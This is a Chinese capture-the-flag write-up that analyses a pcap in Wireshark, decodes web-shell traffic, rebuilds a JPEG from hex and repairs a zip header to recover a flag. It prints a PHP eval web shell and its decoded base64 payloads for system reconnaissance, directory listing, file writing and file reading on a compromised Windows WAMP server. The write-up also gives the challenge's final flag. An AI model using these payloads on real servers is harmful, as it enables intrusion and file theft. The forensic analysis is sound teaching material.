考点

  1. Wireshark 流量分析
  2. Php 代码分析
  3. Hex 转写 Jpg
  4. zip 文件头

解题过程

1. Wireshark 流量分析

使用 wireshark 打开 pcapng 文件,筛选 http 流量。

traffic_analysis_1

点击文件 -> 导出对象 -> HTTP

traffic_analysis_1

Content Type 选择 All Content-Types,然后点击全部保存,选择导出文件夹,导出全部 HTTP 流量。

ALL Content-Types:所有的内容类型。
application/octet-stream:类型为字节流(二进制文件),浏览器默认方式为下载。
application/x-www-form-urlencoded:将表单内容转化为一种能够通过 URL 传输的形式,将键和值对连结起来,形式接近于 URL 的查询字符串。在这个过程中,特定的字符被替换成 %XX 形式,其中 XX 是对应字符的 ASCII 码的十六进制表示,而空白则被替换成加号(+)
text/html:内容是 html,浏览器在获取到这种文件时会自动调用 html 的解析器对文件进行相应的处理。

traffic_analysis_1

2. php 代码分析

查看文件详情

首先找到 1.php ,我们进行分析。

1
aa=@eval(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D
  • base64_decode:以下内容为 base64 编码
  • action:入侵行为,值经过了 base64 编码与 urlencode 编码,通过 CyberChef 双重解码(URL Decode, From Base64)后得到 php 代码格式化后如下

traffic_analysis_1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// 关闭错误显示
@ini_set("display_errors", "0");

// 移除脚本执行的时间限制,允许脚本无限期运行
@set_time_limit(0);

// 关闭魔术引号,该功能会自动在字符串的引号前添加转义字符
@set_magic_quotes_runtime(0);

// 输出开始分隔符
echo "->|";

// 获取当前脚本的目录路径
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") {
// 如果SCRIPT_FILENAME为空,则尝试使用PATH_TRANSLATED
$D = dirname($_SERVER["PATH_TRANSLATED"]);
}
// 将目录路径添加到变量R,并添加制表符作为分隔
$R = "{$D}\t";

// 检查目录路径是否以根目录符号"/"开头
if (substr($D, 0, 1) != "/") {
// 如果不是,遍历A到Z的驱动器,如果存在,则添加到R
foreach (range("A", "Z") as $L) {
if (is_dir("{$L}:")) {
$R .= "{$L}:";
}
}
// 添加制表符作为分隔
$R .= "\t";
}

// 使用posix_getegid和posix_getpwuid获取当前用户的用户名,如果函数不存在,则使用get_current_user
$u = (function_exists('posix_getegid')) ? @posix_getpwuid(@posix_geteuid()) : '';
$usr = ($u) ? $u['name'] : @get_current_user();
// 将系统信息和用户信息添加到R
$R .= php_uname();
$R .= "({$usr})";

// 打印结果
print $R;

// 输出结束分隔符
echo "|<-";

// 终止脚本执行
die();

将返回的结果格式化后:

1
2
3
4
5
6
->|
D:/wamp64/www/upload
C:D:E:
Windows NT DESKTOP-5E59GR7 10.0 build 15063 (Windows 10) AMD64
(SYSTEM)
|<-
需要注意的点

输出的前面有个->|,输出的后面有个|<-,可能会影响后续下载文件的内容。

查看文件夹D:\wamp64\www\upload

然后查看了文件夹内容以及权限,发现是777,可以下载文件。

1
aa=@eval(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=RDpcd2FtcDY0XHd3d1x1cGxvYWQ%3D

action 如下

1
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7

解码并且格式化后代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// 关闭错误显示
@ini_set("display_errors", "0");

// 移除脚本执行的时间限制
@set_time_limit(0);

// 关闭魔术引号
@set_magic_quotes_runtime(0);

// 输出开始分隔符
echo "->|";

// 解码通过POST方法传递的路径
$D = base64_decode($_POST["z1"]);

// 尝试打开目录
$F = @opendir($D);
if ($F === NULL) {
// 如果目录打开失败,输出错误信息
echo "ERROR:// Path Not Found Or No Permission!";
} else {
// 初始化变量用于存储目录和文件列表
$M = NULL;
$L = NULL;

// 读取目录中的每个条目
while ($N = @readdir($F)) {
$P = $D . "/" . $N; // 构建完整的文件路径
$T = @date("Y-m-d H:i:s", @filemtime($P)); // 获取文件最后修改时间
$E = substr(base_convert(@fileperms($P), 10, 8), -4); // 获取文件权限
$R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . ""; // 构建输出格式

// 根据是否为目录,将文件或目录信息添加到相应的变量中
if (@is_dir($P)) {
$M .= $N . "/" . $R;
} else {
$L .= $N . $R;
}
}

// 输出目录和文件列表
echo $M . $L;

// 关闭目录句柄
@closedir($F);
}

// 输出结束分隔符
echo "|<-";

// 终止脚本执行
die();

代码功能为获取文件夹的内容,需要参数z1
此处z1RDpcd2FtcDY0XHd3d1x1cGxvYWQ%3D,解码后为D:\wamp64\www\upload,将返回的结果格式化后:

1
2
3
4
5
6
7
->|
./ 2017-12-08 11:38:58 0 0777
../ 2017-12-08 11:39:10 4096 0777
1.php 2017-12-08 11:33:16 33 0666
flag.txt 2017-12-08 11:35:29 17 0666
hello.zip 2017-12-08 09:32:36 224 0666
|<-

我们可以注意到有个flag.txt和hello.zip(我们要的flag在中hello.zip,其实flag.txt并没有获取)

查看文件夹D:\wamp64\www\

z1换为RDpcd2FtcDY0XHd3d1w%3D,解码后为D:\wamp64\www\,将输出格式化后为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
->|
./ 2017-12-08 11:39:10 4096 0777
../ 2017-11-17 18:15:03 4096 0777
admin/ 2017-11-17 18:15:53 8192 0777
install/ 2017-11-17 18:15:54 4096 0777
tools/ 2017-11-17 18:15:54 4096 0777
typecho/ 2017-12-08 11:39:10 4096 0777
upload/ 2017-12-08 11:38:58 0 0777
usr/ 2017-11-17 18:15:54 0 0777
var/ 2017-11-17 18:15:54 4096 0777
.gitattributes 2015-05-02 05:31:05 386 0666
.gitignore 2015-05-02 05:31:05 234 0666
.gitmodules 2015-05-02 05:31:05 0 0666
.travis.yml 2015-05-02 05:31:05 114 0666
aa.php 2017-10-27 16:02:31 26 0666
changelog.txt 2015-05-02 05:31:05 2135 0666
config.inc.php 2017-10-26 14:01:04 1521 0666
index.php 2015-05-02 05:31:05 721 0666
install.php 2015-05-02 05:31:05 47405 0666
license.txt 2015-05-02 05:31:05 14974 0666
p0.php 2017-10-26 14:31:28 26 0666
README.md 2015-05-02 05:31:05 205 0666
todo.txt 2015-05-02 05:31:05 122 0666
x1n.php 2017-10-26 14:51:13 27 0666
|<-
查看文件夹D:\wamp64\

z1换为RDpcd2FtcDY0XA%3D%3D,解码后为D:\wamp64\,结果格式化为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
->|
./ 2017-11-17 18:15:03 4096 0777
../ 2017-12-08 04:45:53 4096 0777
alias/ 2017-11-17 18:15:03 0 0777
apps/ 2017-11-17 18:15:03 0 0777
bin/ 2017-11-17 18:15:24 0 0777
cgi-bin/ 2017-11-17 18:15:32 0 0777
lang/ 2017-11-17 18:15:32 4096 0777
logs/ 2017-11-17 18:15:32 0 0777
scripts/ 2017-11-17 18:15:32 4096 0777
tmp/ 2017-11-27 06:51:26 40960 0777
www/ 2017-12-08 11:39:10 4096 0777
barimage.bmp 2010-12-31 01:39:42 4790 0666
images_off.bmp 2016-08-01 08:21:38 26934 0666
images_on.bmp 2016-08-01 08:22:36 26934 0666
install-english.txt 2016-10-16 07:09:46 3380 0666
license-english.txt 2015-11-06 03:00:26 8156 0666
read_after_install-english.txt 2016-03-08 11:45:22 1191 0666
unins000.dat 2017-10-10 07:11:50 972306 0666
unins000.exe 2017-10-10 07:09:38 1401105 0777
uninstall_services.bat 2017-10-10 07:09:51 132 0777
wampmanager.conf 2017-11-14 14:28:47 1636 0666
wampmanager.exe 2008-09-03 07:46:36 1233408 0777
wampmanager.ini 2017-12-08 11:33:55 508782 0666
wampmanager.tpl 2016-08-22 02:42:00 24039 0666
|<-

3. Hex 转写 Jpg

接着在D:\wamp64\www\upload文件夹中新建图片6666.jpg,并且写入二进制信息。

写入图片的php代码

action 为

1
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik%2FIjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw

解码后的 php 为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// 关闭错误显示
@ini_set("display_errors", "0");

// 移除脚本执行的时间限制
@set_time_limit(0);

// 关闭魔术引号
@set_magic_quotes_runtime(0);

// 输出开始分隔符
echo "->|";

// 解码通过POST方法传递的文件路径
$f = base64_decode($_POST["z1"]);

// 获取通过POST方法传递的文件内容
$c = $_POST["z2"];

// 清除可能存在的回车和换行符
$c = str_replace("\r", "", $c);
$c = str_replace("\n", "", $c);

// 初始化缓冲区变量
$buf = "";

// 将十六进制编码的字符串转换为原始二进制数据
for ($i = 0; $i < strlen($c); $i += 2) {
$buf .= urldecode("%" . substr($c, $i, 2));
}

// 尝试写入文件,并根据操作结果输出“1”或“0”
echo (@fwrite(fopen($f, "w"), $buf) ? "1" : "0");

// 输出结束分隔符
echo "|<-";

// 终止脚本执行
die();

输入的参数z1(图片名)为D:\wamp64\www\upload\6666.jpgz2为图片的十六进制信息。
我们获取到z2后,将其转换为.jpg格式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# HexToJpg.py
def hex_to_jpg(hex_file_path, jpg_file_path):
"""
将十六进制文本文件转换为JPEG图片文件。

:param hex_file_path: 十六进制文本文件的路径。
:param jpg_file_path: 要保存JPEG图片的路径。
"""
with open(hex_file_path, "r") as hex_file:
# 从文件中读取十六进制数据
hex_data = hex_file.read()

# 删除任何空白字符(空格、换行符等)
hex_data = hex_data.replace(" ", "").replace("\n", "")

# 将十六进制数据转换为二进制数据
binary_data = bytes.fromhex(hex_data)

# 将二进制数据写入JPEG文件
with open(jpg_file_path, "wb") as jpg_file:
jpg_file.write(binary_data)


# 示例使用:
hex_file_path = r".\6666.txt" # 替换为你的十六进制文件路径
jpg_file_path = "6666.jpg" # 替换为你希望保存的JPEG文件路径
hex_to_jpg(hex_file_path, jpg_file_path)

转换后的图片如下:
traffic_analysis_1

拿到关键信息Th1s_1s_p4sswd_!!!

4. zip 文件头

接着读取了D:\wamp64\www\upload\hello.zip文件。

读取zip的php代码

action 为

1
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JFA9QGZvcGVuKCRGLCJyIik7ZWNobyhAZnJlYWQoJFAsZmlsZXNpemUoJEYpKSk7QGZjbG9zZSgkUCk7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D

解码后脚本为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
// 关闭错误显示,防止错误信息泄露
@ini_set("display_errors", "0");

// 移除脚本执行的时间限制,允许脚本长时间运行
@set_time_limit(0);

// 关闭魔术引号,防止自动添加转义字符
@set_magic_quotes_runtime(0);

// 输出开始分隔符,用于标识响应开始
echo "->|";

// 从POST请求中获取base64编码的文件路径,并进行解码
$F = base64_decode($_POST["z1"]);

// 尝试以只读模式打开文件
$P = @fopen($F, "r");

// 检查文件是否成功打开
if ($P === false) {
// 如果文件打开失败,输出错误信息并终止脚本
echo "ERROR:// File cannot be opened.";
die();
}

// 读取文件内容,filesize($F)获取文件大小,确保读取整个文件
echo @fread($P, filesize($F));

// 关闭文件句柄,释放资源
@fclose($P);

// 输出结束分隔符,用于标识响应结束
echo "|<-";

// 终止脚本执行
die();
?>

读取 zip 接着的下个 php 文件,即为 zip 文件,我们将后缀修改为.zip,用 WinHex 查看。

traffic_analysis_1
注意到zip 文件头多了2D3E7C,文件尾多了7C3C2D,我们将其删除,发现压缩包已经可以正常打开但是有密码。

zip 的文件头由504B0304开头

traffic_analysis_1

我们输入前面拿到的关键信息Th1s_1s_p4sswd_!!!后,拿到flag.txt
最终 flag 为flag{3OpWdJ-JP6FzK-koCMAK-VkfWBq-75Un2z}

优化点

  • zip 可以直接用 Binwalk 提取
    traffic_analysis_1
  • 可以只看 request 头和 response 包体
  • jpg 文件头由FFD8FF开头,由FFD9结尾,可以快速确定是个图片。
  • 保存图片可以用 WinHex 打开那个报文后,删除多余信息,另存为.jpg文件

参考文章